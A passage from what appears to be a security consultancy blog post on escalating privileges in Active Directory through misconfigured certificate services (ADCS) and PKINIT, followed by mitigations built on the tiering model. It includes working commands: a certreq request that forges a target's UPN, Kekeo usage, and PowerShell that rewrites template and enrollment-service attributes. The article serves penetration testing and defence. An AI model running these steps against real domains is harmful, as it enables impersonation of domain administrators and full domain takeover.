<figure id="post-16026 media-16026" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16026 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18.jpg" alt="" width="421" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18-323x191.jpg 323w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18-66x39.jpg 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/18-120x70.jpg 120w" sizes="auto, (max-width: 421px) 100vw, 421px" /></figure>
<p style="text-align: center;"><em>Providing name hints alongside the certificate</em></p>
<p><em>&nbsp;</em></p>
<p>It is also possible to use third-party tools to request a TGT using PKINIT and load it alongside legitimate tickets in the user’s session. In the examples below, the current user has two certificates in its store:</p>
<ul>
<li>A certificate named “<span style="color: #005572;"><strong>Explicit</strong></span>” with thumbprint <code>9c7bd7...1ce0b</code> and mapped to the <code>APERTURE\GlADOS</code> domain user via its <code>altSecurityIdentities</code> attribute</li>
<li>A certificate named “<span style="color: #005572;"><strong>Implicit</strong></span>” with thumbprint <code>f414...000c8</code> and including the <code>userPrincipalName</code> set as <code>cave@aperture.science</code></li>
</ul>
<p>&nbsp;</p>
<h4>With Kekeo</h4>
<p><a href="https://github.com/gentilkiwi/kekeo">Kekeo</a> is a piece of software developed by <strong>Gentilkiwi</strong>, the author of the well-known tool <strong>Mimikatz</strong>. It aims at providing its users with utilities to easily manipulate Windows API related to Kerberos and other protocols. However, if detected, it is hard to compile anew to evade detection due to the use of the commercial ASN.1/C library.</p>
<p>The screenshots below detail how <span style="color: #005572;"><strong>Kekeo </strong></span>provides support for <strong>PKINIT</strong>:</p>
<figure id="post-16028 media-16028" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16028 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19.png" alt="" width="771" height="174" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19.png 771w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19-437x99.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/19-768x173.png 768w" sizes="auto, (max-width: 771px) 100vw, 771px" /></figure>
<p style="text-align: center;"><em>Using PKINIT with explicit mapping</em></p>
<p>&nbsp;</p>
<figure id="post-16030 media-16030" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16030 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20.png" alt="" width="887" height="173" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20.png 887w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20-437x85.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/20-768x150.png 768w" sizes="auto, (max-width: 887px) 100vw, 887px" /></figure>
<p style="text-align: center;"><em>Using PKINIT with implicit mapping in kekeo</em></p>
<p>&nbsp;</p>
<h4>With Rubeus</h4>
<p>As described on the tool’s GitHub repository, <a href="https://github.com/GhostPack/Rubeus">Rubeus</a> is a C# toolset for raw Kerberos interaction and abuses. Its advantage comes from the fact that it can be easily recompiled to evade detection from security tools.</p>
<p>The screenshots below detail how <span style="color: #005572;"><strong>Rubeus </strong></span>provides support for <strong>PKINIT</strong>, although username hints are mandatory since the /user switch must be provided:</p>
<figure id="post-16032 media-16032" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16032 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/21.png" alt="" width="710" height="329" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/21.png 710w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/21-412x191.png 412w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/21-71x33.png 71w" sizes="auto, (max-width: 710px) 100vw, 710px" /></figure>
<p style="text-align: center;"><em>Using PKINIT with explicit mapping in Rubeus</em></p>
<figure id="post-16034 media-16034" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-16034 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/22.png" alt="" width="696" height="345" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/22.png 696w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/22-385x191.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/22-71x35.png 71w" sizes="auto, (max-width: 696px) 100vw, 696px" /></figure>
<p style="text-align: center;"><em>Using PKINIT with implicit mapping in Rubeus</em></p>
<p>&nbsp;</p>
<h1><a name="section-3"></a>Elevating privileges with ADCS</h1>
<p>The idea behind exploiting ADCS-related control paths is mostly to fraudulently obtain a certificate to authenticate as a privileged principal using PKINIT. Based on the PKINIT decision graph, there are two ways that certificates that can be used to achieve this purpose:</p>
<ul>
<li>For <span style="color: #005572;"><strong>explicit mappings</strong></span>, it needs to be configured on the target object as an alternative security identity</li>
<li>For <span style="color: #005572;"><strong>implicit mappings</strong></span>, it needs to includes the UserPrincipalName (UPN) of the target principal in the Subject Alternative Name extension</li>
</ul>
<p>The sections below aim at detailing the prerequisites needed to conduct the attack, and how it can be performed.</p>
<p>&nbsp;</p>
<h2><a name="section-3-1"></a>Exploiting an existing ADCS misconfiguration</h2>
<p>In some cases, no additional ACL exploit is needed because there are existing certificate templates that already validate the prerequisites needed to request an authentication certificate for any other principal:</p>
<ul>
<li>The <strong>template is listed</strong> in at least one of the enrollment services, and both grant the enroll rights to one of the assets (user, computer) already compromised</li>
<li>The <strong>server</strong> associated to the enrollment service <strong>is reachable</strong> on port 135 and high ports</li>
<li>The template lists at least one of the following <strong>extended key usages</strong>: <span style="color: #005572;">Client Authentication</span>, <span style="color: #005572;">Microsoft Smartcard Logon</span>, <span style="color: #005572;">Key Purpose Client Auth</span> or <span style="color: #005572;">Any Purpose</span></li>
<li>The template allows <strong>supplying the subject name in the request</strong></li>
<li><strong>No additional approval</strong> is required for the certificate issuance; such parameter can be configured at the template level – the list of validators is configured at the server-level and can only be determined by users with at least “Read” privileges on the CA</li>
</ul>
<p>If all conditions are met, there are multiple options to request the certificate (<code>certreq</code> executable or the <code>X509Enrollment</code> COM object in PowerShell), but the fastest is to use the <code>certmgr.msc</code> MMC component:</p>
<figure id="post-16036 media-16036" class="align-none"><img loading="lazy" decoding="async" class=" wp-image-16036 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23.png" alt="" width="582" height="224" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23.png 789w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/23-768x296.png 768w" sizes="auto, (max-width: 582px) 100vw, 582px" /></figure>
<p style="text-align: center;"><em>Requesting a new certificate with the MMC</em></p>
<p><em>&nbsp;</em></p>
<p>At the template selection menu, interesting templates will appear with a yellow warning sign, since they need the requester to supply the name of the subject:</p>
<figure id="post-16038 media-16038" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16038 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/24.png" alt="" width="500" height="106" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/24.png 727w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/24-437x93.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/24-71x15.png 71w" sizes="auto, (max-width: 500px) 100vw, 500px" /></figure>
<p style="text-align: center;"><em>Exploitable certificate template</em></p>
<p>&nbsp;</p>
<p>Then, enter a friendly name in the common name of the certificate (since kekeo needs it to select the certificate), and the UPN of the target user in the alternative name section:</p>
<figure id="post-16040 media-16040" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16040 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25.png" alt="" width="374" height="305" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25.png 614w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25-234x191.png 234w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25-48x39.png 48w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/25-155x125.png 155w" sizes="auto, (max-width: 374px) 100vw, 374px" /></figure>
<p style="text-align: center;"><em>Filling the subject name</em></p>
<p>&nbsp;</p>
<p>After enrollment, the certificate will be present in the Personal store and available to Kekeo and Rubeus to perform PKINIT with the identity of the target user (here <code>administrator@lab.local</code>):</p>
<pre class="w-code">Kekeo # tgt::ask /subject:ItDoesNotMatter</pre>
<figure id="post-16042 media-16042" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16042 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/26.png" alt="" width="361" height="221" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/26.png 467w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/26-312x191.png 312w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/26-64x39.png 64w" sizes="auto, (max-width: 361px) 100vw, 361px" /></figure>
<p style="text-align: center;"><em>Authentication certificate retrieved</em></p>
<p>&nbsp;</p>
<p>Subsequent sections present cases in which it is possible to exploit <strong>additional misconfigurations</strong> in Active Directory or on the ADCS servers to <strong>fall back to the situation and the exploit described above</strong>.</p>
<p>&nbsp;</p>
<h2><a name="section-3-2"></a>The insidious case of EDITF_ATTRIBUTESUBJECTALTNAME2</h2>
<p>One of the most dangerous and misunderstood of the CA servers’ local settings is <code>EDITF_ATTRIBUTESUBJECTALTNAME2</code>. It was initially proposed as a way to allow for Subject Alternative Name (SAN) selection when using the <code>certreq</code> binary on command-line, and can locally be checked with:</p>
<pre class="w-code">C:\Users\Administrator&gt;certutil -getreg policy\editflags

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\LAB ROOT CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags:

  EditFlags REG_DWORD = 15014e (1376590)
    EDITF_REQUESTEXTENSIONLIST -- 2
    EDITF_DISABLEEXTENSIONLIST -- 4
    EDITF_ADDOLDKEYUSAGE -- 8
    EDITF_BASICCONSTRAINTSCRITICAL -- 40 (64)
    EDITF_ENABLEAKIKEYID -- 100 (256)
    EDITF_ENABLEDEFAULTSMIME -- 10000 (65536)
<span class="w-grepped">    EDITF_ATTRIBUTESUBJECTALTNAME2</span> -- 40000 (262144)
    EDITF_ENABLECHASECLIENTDC -- 100000 (1048576)
CertUtil: -getreg command completed successfully.</pre>
<p>This setting <strong>forces the CA to accept a user-selected SAN </strong>for every certificate template listed by this enrollment service. This means that even if the “Build for this Active Directory information” option is selected in the template options, the final SAN to be included in the certificate will be at the hand of the requester. <strong>This setting is fortunately disabled by default</strong>.</p>
<p>In this case, every authentication certificate template will be vulnerable to the previous exploit. In order to exploit it, create the following policy.inf file:</p>
<pre class="w-code">[Version]
Signature="$Windows NT$"
 
[NewRequest]
Subject = "CN=TEST"  ; will not be taken into account
Exportable = FALSE
KeyLength = 2048
KeySpec = 1
KeyUsage = 0xA0
MachineKeySet = FALSE ; TRUE if you want it in the machine store
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
RequestType = PKCS10
 
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=<span class="w-user">username@domain.tld</span>"
 
 
[RequestAttributes]
; If your client operating system is Windows Server 2003, Windows Server 2003 R2, or Windows XP
; and you are using a standalone CA, SANs can be included in the RequestAttributes
; section by using the following text format.
 
SAN="upn=<span class="w-user">username@domain.tld</span>"
CertificateTemplate = <span class="w-user">YourTemplateName</span></pre>
<p>Then, the certreq binary is again used to build the request and submit it to the CA server, and finally to add the certificate to the store:</p>
<pre class="w-code">C:\&gt; certreq -new policy.inf request.pem
C:\&gt; certreq -submit request.pem cert.pem
C:\&gt; certreq -accept cert.pem</pre>
<p>&nbsp;</p>
<h2><a name="section-3-3"></a>Local administrator rights on ADCS server</h2>
<p>There are multiple ways that domain and local users that are in the local Administrators group of CA servers can compromise the domain.</p>
<p>First, local administrators have <strong>full access to the registry</strong>, and therefore they can <strong>modify the CA policy</strong> <strong>settings</strong> to include the <code>EDITF_ATTRIBUTESUBJECTALTNAME2</code> attribute mentioned in the previous section. It will allow the exploitation of any authentication certificate template that is listed by the server, which usually is enough to craft a certificate viable for a PKINIT on a privileged user.</p>
<p>Secondly, local administrators are granted access to the machine certificate store, in which the CA private key is located. From there, there are multiple options to issue an authentication certificate, including:</p>
<ul>
<li>Use the <code>certutil -sign</code> command to <strong>re-sign an authentication certificate</strong> issued by the same CA, and modify on-the-fly its subject alternative name list</li>
<li><strong>Export the certificate and its private key</strong>, if exportable or by patching the private key file “exportability blob”</li>
<li>Use Mimikatz to patch the CryptoAPI / CNG and <strong>export the certificate along with its private key</strong></li>
</ul>
<p>&nbsp;</p>
<h2><a name="section-3-4"></a>ACL exploit on user objects (1)</h2>
<p>If one has some control on a domain user object, there are several ways that this object may be compromised. For example, <strong>its password can be changed</strong> (requires <code>AllExtendedRights</code> or <code>ForceChangePassword</code>), granting access to the account (watch out for side effects!).</p>
<p>A more silent way would be to <strong>modify the logon script</strong> by setting the <code>Scriptpath</code> attribute which only requires <code>GenericWrite</code> or specific <code>Write</code> to the attribute. It will execute any executable or script withing the context of the target’s session when it performs a logon.</p>
<p>There is another way of taking control over a user account (which is also fairly silent) by messing with the <code>altSecurityIdentities</code> attribute. As detailed in the PKINIT diagram, <strong>an explicit mapping can be created between a user object and a certificate</strong>, which then can be used to authenticate as the user.</p>
<p>Using the Microsoft Management Console (MMC), it can be performed through the “Active Directory Users &amp; Computers” component:</p>
<figure id="post-16044 media-16044" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16044 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/27.png" alt="" width="250" height="59" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/27.png 402w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/27-71x17.png 71w" sizes="auto, (max-width: 250px) 100vw, 250px" /></figure>
<p style="text-align: center;"><em>Adding the MMC component</em></p>
<p><em>&nbsp;</em></p>
<p>After enabling the “Advanced Features” in the “View” menu, it is possible to configure mappings through the “Name Mappings” option:</p>
<figure id="post-16046 media-16046" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16046 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/28.png" alt="" width="500" height="93" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/28.png 715w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/28-437x81.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/28-71x13.png 71w" sizes="auto, (max-width: 500px) 100vw, 500px" /></figure>
<p style="text-align: center;"><em>Select the name mappings</em></p>
<p><em>&nbsp;</em></p>
<p>Then, just select the certificate that will be used to create the explicit mapping. Note that <strong>implicit mappings take precedence over explicit ones</strong>, so the certificate <strong>must not include an UPN</strong>, but it still needs to <strong>feature the correct Extended Key Usage</strong>:</p>
<figure id="post-16048 media-16048" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16048 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/29.png" alt="" width="364" height="241" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/29.png 528w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/29-288x191.png 288w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/29-59x39.png 59w" sizes="auto, (max-width: 364px) 100vw, 364px" /></figure>
<p style="text-align: center;"><em>Creating the explicit mapping</em></p>
<p>&nbsp;</p>
<p>Under the hood, the GUI modifies the <code>altSecurityIdentities</code> attribute of the user in the following way:</p>
<figure id="post-16050 media-16050" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16050 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30.png" alt="" width="709" height="155" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30.png 1302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30-437x96.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30-71x16.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/30-768x168.png 768w" sizes="auto, (max-width: 709px) 100vw, 709px" /></figure>
<p style="text-align: center;"><em>Modification of the altSecurityIdentities attribute</em></p>
<p><em>&nbsp;</em></p>
<p>The new value of the attribute is a <strong>collection of strings</strong>, so it may be modified rather easily with the <code>Set-AdUser</code> cmdlet or another AD editing tool such as <code>adsiedit.msc</code> or AD Explorer.</p>
<p>Finally, the authentication can take place, using your favorite tool (Kekeo, Rubeus, etc.):</p>
<figure id="post-16052 media-16052" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16052 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31.png" alt="" width="647" height="151" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31.png 922w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/31-768x179.png 768w" sizes="auto, (max-width: 647px) 100vw, 647px" /></figure>
<p style="text-align: center;"><em>Authenticating as Admin1 with explicit mapping from Administrator’s certificate</em></p>
<p>&nbsp;</p>
<h2><a name="section-3-5"></a>ACL exploit on user objects (2)</h2>
<p>There exists another way of leveraging write access to user objects on the domain, however being <strong>much noisier</strong> and with a <strong>higher risk of breaking things</strong>.</p>
<p>If one already has an authentication certificate which includes the UPN of a low-privileged user, it will basically consist in modifying the <code>userPrincipalName</code> attribute of the target account to the value of that UPN. Such situations may arise when access to the enterprise Wi-Fi network is configured to be performed with a certificate, and with “user authentication” rather than “computer authentication”. In our case, we have a certificate with a UPN for <code>User1</code>:</p>
<figure id="post-16054 media-16054" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16054 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/32.png" alt="" width="334" height="274" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/32.png 506w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/32-233x191.png 233w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/32-48x39.png 48w" sizes="auto, (max-width: 334px) 100vw, 334px" /></figure>
<p style="text-align: center;"><em>User1 authentication certificate</em></p>
<p>&nbsp;</p>
<p>Using the write access on the <code>Admin1</code> user account, we modify its UPN to the one of <code>User1</code>:</p>
<figure id="post-16056 media-16056" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16056 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33.png" alt="" width="558" height="152" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33.png 994w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33-437x119.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/33-768x209.png 768w" sizes="auto, (max-width: 558px) 100vw, 558px" /></figure>
<p style="text-align: center;"><em>Modification of Admin1 UPN</em></p>
<p><em>&nbsp;</em></p>
<p>Finally, using our authentication certificate, it is now possible to perform a PKINIT pre-authentication for both user accounts, using either implicit or explicit mappings:</p>
<figure id="post-16058 media-16058" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16058 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34.png" alt="" width="595" height="256" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34.png 1000w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34-437x188.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/34-768x331.png 768w" sizes="auto, (max-width: 595px) 100vw, 595px" /></figure>
<p style="text-align: center;"><em>Authentication as both User1 and Admin1 with User1’s certificate</em></p>
<p>&nbsp;</p>
<h2><a name="section-3-6"></a>ACL exploit on certificate templates</h2>
<p>If one of the already compromised assets in the domain has <strong>write access on a certificate template </strong>that is <strong>listed in one of the usable enrollment services, </strong>then the following modifications will allow the issuance of <strong>PKINIT-compliant authentication certificates</strong>:</p>
<ul>
<li>Set the <code>msPKI-Enrollment-Flag</code> attribute to <code>0</code>: it will remove the need for additional approval set by the flag <code>CT_FLAG_PEND_ALL_REQUESTS</code></li>
<li>Set the <code>msPKI-Certificate-Name-Flag</code> attribute to <code>1</code>: it will build the subject name based on the information provided by the requester</li>
<li>Add the one of the required OIDs (for example <code>3.6.1.5.5.7.3.2</code>) to the <code>msPKI-Certificate-Application-Policy</code> set to include the Client Authentication extended key usage</li>
</ul>
<p>&nbsp;</p>
<p>Such modifications can be performed through <code>adsiedit.msc</code> or via the <code>Set-ADObject</code> cmdlet from the ADDS Remote Server Administration Tools (RSAT) or with PowerView:</p>
<pre class="w-code">$newAttr = @{}
$newAttr['msPKI-Enrollment-Flag'] = '0'
$newAttr['msPKI-Certificate-Name-Flag'] = '1'
$newAttr['msPKI-Certificate-Application-Policy'] = @('1.3.6.1.5.5.7.3.2')

<span class="w-cli"># Set new attributes</span>
Set-AdObject "CN=<span class="w-root">TemplateName</span>,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,<span class="w-root">DC=LAB,DC=LOCAL</span>" -Replace $newParams</pre>
<p>&nbsp;</p>
<h2><a name="section-3-7"></a>ACL exploit on enrollment services</h2>
<p>Similarly, write access on enrollment services objects can help the issuance of PKINIT-compliant authentication certificates. The attribute to be targeted is <code>certificateTemplates</code> since <strong>it allows the addition (or deletion) of listed certificate templates</strong>.</p>
<p><strong>By default</strong>, there is <strong>only one certificate template with the correct PKINIT prerequisites</strong> in Active Directory, which is “Router (Offline request)”, but only Domain Admins can enroll a certificate with it.</p>
<p>However, the longer a PKI infrastructure lives, the higher the chance to find remnants of tests that will most likely be exploitable. As in the previous section, you can use <code>adsiedit.msc</code> or PowerShell to add a new template:</p>
<pre class="w-code">$object = "CN=<span class="w-user">LAB ROOT CA</span>,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,<span class="w-user">DC=LAB,DC=LOCAL</span>"


$templates = (Get-AdObject $object -Properties *).CertificateTemplates
$templates.Add("<span class="w-user">OfflineRouter</span>")

Set-AdObject $object -Replace @{'certificateTemplates'=[System.Array]$templates}
</pre>
<h1></h1>
<h1><a name="section-4"></a>Current mitigations</h1>
<h2><a name="section-4-1"></a>Integration within the Active Directory tiering model</h2>
<h3><a name="section-4-1-1"></a>ESAE: Enhanced Security admin Environment</h3>
<p>In Active Directory, it is recommended to partition the administrator privileges according to the type of devices they need to interact with. The theory behind this partitioning of Active Directory is called the tiering model and is described by Microsoft in the <span style="color: #005572;"><strong>Enhanced Security Admin Environment</strong></span> (ESAE). Though the ESAE model is now <a href="https://docs.microsoft.com/en-us/security/compass/esae-retirement">retired</a> and replaced by the <a href="https://docs.microsoft.com/en-us/security/compass/security-rapid-modernization-plan">Rapid Modernization Plan</a> (RaMP) to tackle the cloud aspects of hybrid information systems, most of its conclusions still apply regarding on-premise assets.</p>
<p>&nbsp;</p>
<h4>Tier-0</h4>
<p>The idea behind the tiering model is built on isolation between assets in the information system. The most critical assets are in the Tier-0 and defined as:</p>
<ul>
<li>Any <strong>AD object</strong> that <strong>allows the compromise of the domain</strong>, therefore including the Domain/Enterprise Admins and (Enterprise) Domain Controllers groups</li>
<li>Any <strong>AD object</strong> that <strong>allows taking over another object in the Tier-0</strong>, including, but not limited to: the krbtgt user, the OUs in which Tier-0 objects reside, the GPOs that apply to them, etc.</li>
<li>Any <strong>asset in the Information System</strong> that can be used to <strong>compromise the Tier-0 or its objects</strong>: antivirus and EDR console, standalone WSUS servers, backup infrastructure, etc.</li>
</ul>
<p>&nbsp;</p>
<p>The Tier-0 is consequently defined as the <span style="color: #005572;"><strong>set of assets that have control paths over each other but no other control paths from anywhere else</strong></span>: it is a closed loop in the compromise graph, that also includes non-domain-joint assets.</p>
<p>&nbsp;</p>
<h4>Tier-1 and 2</h4>
<p>All the assets that are not present in Tier-0 are distributed in <strong>two other tiers</strong>. These tiers are built according to the type of objects they contain:</p>
<ul>
<li><span style="color: #005572;"><strong>Tier-2</strong></span> contains everything closely <strong>related to standard users</strong>: their accounts, their workstation, but also TSE servers, the administrative layer that controls these assets, etc.</li>
<li><span style="color: #005572;"><strong>Tier-1</strong></span> is dedicated to hosting assets <strong>in relation with the applications</strong>: servers that host them, service accounts, administrative workstations (excluding Tier-0)</li>
</ul>
<p>&nbsp;</p>
<h4>Tier permeability</h4>
<p><span style="color: #005572;"><strong>The risk of intra-tier compromise is part of the tiering model’s design</strong></span> (even if some Active Directory mechanisms – such as the Protected Users domain group or LAPS – will limit it). However, the tiering model aims at protecting the most critical assets by strictly defining <span style="color: #005572;"><strong>which inter-tier connection are allowed</strong></span>. The set of connections and their status is roughly detailed below:</p>
<figure id="post-16124 media-16124" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16124 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60.png" alt="" width="494" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60.png 1005w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60-221x191.png 221w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60-45x39.png 45w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/60-768x663.png 768w" sizes="auto, (max-width: 494px) 100vw, 494px" /></figure>
<p>In the previous diagram, the red arrows represent the <strong>impossibility for an administrator of a higher level of administration to open a session to a resource of a lower level</strong>. In addition, the yellow arrows indicate the need to limit inter-tier connection to user connections only (e.g. a domain user querying the LDAP service on a DC from his workstation).</p>
<p>The <strong>dedicated administrative accounts</strong> are to be created <strong>in each tier</strong>, and their <strong>session opening must be restricted to that tier </strong>to prevent escalation between tiers. Since the source device of a network connection is also susceptible to credential theft (keylogging, malware spying on memory, etc.), it is preferable that the administrative accounts in each tier are used from an administrative workstation only. This behavior <strong>needs to be enforced in the Tier-0</strong>, with the use of<span style="color: #005572;"><strong> Privileged Access Workstations</strong></span> (PAW).</p>
<p>&nbsp;</p>
<h3><a name="section-4-1-2"></a>Moving ADCS objects up one tier!</h3>
<p>All the examples of privilege escalation provided in the “Elevating privileges with ADCS” section consequently point towards the fact that <span style="color: #005572;"><strong>the</strong> <strong>following AD objects need to be included in the Tier-0</strong></span>:</p>
<ul>
<li>The servers on which the ADCS role is installed</li>
<li>The certificate templates that are published to a public accessible enrollment service</li>
<li>The enrollment services if there are already certificate templates susceptible to exploitation</li>
</ul>
<p>To facilitate the handling of these objects over time, it is recommended to<span style="color: #005572;"><strong> include every certificate template and every enrollment service in the Tier-0</strong></span>. This means that there must be no control path over the three object types listed above from somewhere outside of the Tier-0:</p>
<ul>
<li>The owner and control ACL over the objects must be positioned on Tier-0 principals only</li>
<li>The local administrator group of the ADCS servers must be restricted to Tier-0 principals only</li>
</ul>
<p>&nbsp;</p>
<h2><a name="section-4-2"></a>Proper handling of corner cases</h2>
<h3><a name="section-4-2-1"></a>Context example</h3>
<p>Even after the application of all of the recommendations listed above (when possible), there are still legitimate use cases of authentication certificates that needs to be issued to a third party. For example, when one wants to deploy Network Access Control (<strong>802.1x</strong>) with certificate-based authentication, there are four types of devices to consider:</p>
<ol>
<li>The domain-joint devices, which will be able to use the enroll / auto-enroll features</li>
<li>The devices supporting the <a href="https://en.wikipedia.org/wiki/Simple_Certificate_Enrollment_Protocol">Simple Certification Enrollment Protocol</a> (SCEP), which will be able to replicate the enroll / auto-enroll features</li>
<li>The devices supporting certificates with no support for any enroll / auto-enroll feature whatsoever (e.g. printers)</li>
<li>The devices that don’t support certificates</li>
</ol>
<p>&nbsp;</p>
<p>In the third case, network administrators would need to issue authentication certificates compliant with the <code>NT_AUTH</code> policy and including the Fully Qualified Domain Name (FQDN) of the device in the Subject Alternative Names (SAN) section. Since these devices are not domain principals and cannot enroll certificates with the ADCS server, the administrators are required to request certificates on behalf of the devices and to specify the name of the subject in the request.</p>
<p>This situation is <strong>the exact context in which the administrators would also be able to issue an authentication certificate</strong> including the UPN of a domain administrator in the SAN section, therefore being able to perform PKINIT and authenticate as the domain administrator.</p>
<p>&nbsp;</p>
<h3><a name="section-4-2-2"></a>Setting the manager approval</h3>
<p>To protect against the malicious use, the certificate templates objects include an option to require the approval of a CA certificate manager:</p>
<figure id="post-16116 media-16116" class="align-none"><img loading="lazy" decoding="async" class="wp-image-16116 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/51.png" alt="" width="332" height="122" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/51.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/06/51-71x26.png 71w" sizes="auto, (max-width: 332px) 100vw, 332px" /></figure>
<p style="text-align: center;"><em>CA certificate manager approval</em></p>
<p>&nbsp;</p>
<p>When the request for a new certificate is issued, it will appear in the “Pending Requests” section of the ADCS instance, using the <code>certsrv.msc</code> MMC component:</p>
